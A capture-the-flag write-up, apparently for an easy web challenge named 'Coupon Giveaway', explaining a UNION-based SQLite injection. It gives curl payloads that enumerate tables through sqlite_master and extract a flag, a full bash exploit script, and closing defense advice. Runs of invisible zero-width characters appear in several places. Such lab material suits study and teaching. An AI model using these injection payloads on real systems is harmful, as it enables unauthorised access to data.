← Back to Writeups
CUSTOMEasyWeb

Раздача купонов (Coupon Giveaway)

XESXOR9/10/20262 min read
#web#custom#easy#column_count_detection#sqlite_master_enumeration#union_sql_injection#linux

Раздача купонов (Coupon Giveaway)

Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-09 | Status: Solved Techniques: column_count_detection, sqlite_master_enumeration, union_sql_injection

Summary

Task: Web application with coupon giveaway form vulnerable to SQL injection. Solution: UNION-based SQLite injection to enumerate tables via sqlite_master and extract flag from s3cret table.

Раздача купонов (Coupon Giveaway) — duckerz

Description

Продажи падали. Босс поручил бухгалтеру сделать странницу с розыгрышем подарочных купонов. Но внезапно сайт был взломан.

URL: http://tasks.duckerz.ru:30070

Analysis

Reconnaissance

Upon visiting the site, a PHP page was found with a form for guessing a number from 1 to 10. A login page at /login.php was also discovered.

Server information:

  • PHP/7.4.33
  • SQLite database (revealed through error messages)

SQL Injection Discovery

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When testing the coupon form with input 4' OR '1'='1, an SQLite error was returned:

SQLSTATE[HY000]: General error: 1 near "' OR '": syntax error

This confirms:

  1. SQL injection vulnerability exists
  2. SQLite is used as the DBMS
  3. No filtering of user input

Solution

Step 1: Determining Column Count

For UNION-based injection, we need to determine the number of columns in the original query:

bash
# Test with 1 column - successful
curl -X POST http://tasks.duckerz.ru:30070/ -d "guess=4 UNION SELECT 1--"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The query with one column executed successfully, meaning the original SELECT returns 1 column.

Step 2: Enumerating Tables

SQLite stores metadata in the system table sqlite_master:

bash
curl -X POST http://tasks.duckerz.ru:30070/ \
  -d "guess=999 UNION SELECT name FROM sqlite_master WHERE type='table'--"

Discovered tables:

  • coupons — main coupon table
  • s3cret — suspicious table (likely contains the flag)
  • sqlite_sequence — system table
  • users — users table

Step 3: Analyzing s3cret Table Structure

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -X POST http://tasks.duckerz.ru:30070/ \
  -d "guess=999 UNION SELECT sql FROM sqlite_master WHERE name='s3cret'--"

Table structure:

sql
CREATE TABLE "s3cret" (
    "id" INTEGER NOT NULL UNIQUE,
    "fl4g" TEXT,
    PRIMARY KEY("id" AUTOINCREMENT)
)

The fl4g column clearly indicates the flag location.

Step 4: Extracting the Flag

bash
curl -X POST http://tasks.duckerz.ru:30070/ \
  -d "guess=999 UNION SELECT fl4g FROM s3cret--"

Full Exploit

bash
#!/bin/bash
# SQL Injection exploit for Coupon Giveaway challenge
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET="http://tasks.duckerz.ru:30070/"

echo "[*] Enumerating tables..."
curl -s -X POST "$TARGET" -d "guess=999 UNION SELECT group_concat(name) FROM sqlite_master WHERE type='table'--"

echo -e "\n[*] Getting s3cret table structure..."
curl -s -X POST "$TARGET" -d "guess=999 UNION SELECT sql FROM sqlite_master WHERE name='s3cret'--"

echo -e "\n[*] Extracting flag..."
curl -s -X POST "$TARGET" -d "guess=999 UNION SELECT fl4g FROM s3cret--"

Defense

To prevent such attacks:

  1. Use prepared statements
  2. Validate input types (numbers should be numbers)
  3. Do not display SQL errors to users
  4. Apply the principle of least privilege for database access ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Additional Resources